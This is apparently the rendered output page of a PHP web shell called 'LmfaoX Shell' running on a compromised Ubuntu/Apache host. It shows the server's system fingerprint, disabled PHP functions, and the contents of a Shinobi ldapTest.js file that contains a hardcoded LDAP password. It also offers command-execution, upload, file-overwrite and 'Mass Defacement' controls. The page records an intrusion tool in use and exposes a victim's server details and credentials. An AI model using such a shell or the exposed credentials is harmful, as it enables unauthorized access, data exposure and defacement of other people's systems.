ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:32.39 GB of 70.42 GB (46%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ distr/ Shinobi/ test/ - drwxr-xr-x

Directory:
Viewing file:     ldapTest.js (1.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// const { authenticate } = require('ldap-authentication')
//
// async function runTest(){
//     try{
//         let authenticated = await authenticate({
//           ldapOpts: { url: 'ldap://127.0.0.1:389' },
//           userDn: 'uid=ubuntu,dc=example,dc=com',
//           userPassword: 'moeiscool',
//           userSearchBase: 'dc=example,dc=com',
//           usernameAttribute: 'uid',
//           username: 'ubuntu2',
//         })
//         console.log(authenticated)
//     }catch(err){
//         console.log('Login Error')
//         console.log(err)
//     }
// }
// runTest()

var LdapAuth = require('ldapauth-fork');

const host = 'ldap://127.0.0.1:389'
const username = 'ubuntu2'
const password = 'moeiscool'
const bindDN = 'uid=ubuntu2,ou=People,dc=example,dc=com'
const searchBase = 'ou=People,dc=example,dc=com'
const searchFilter = '(uid={{username}})'

const ldap = new LdapAuth({
  url: host,
  bindDN: bindDN,
  bindCredentials: password,
  searchBase: searchBase,
  searchFilter: searchFilter,
  reconnect: true
})

ldap.authenticate(username, password, function(err, user) {
    console.log(err,user)
})
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.466 seconds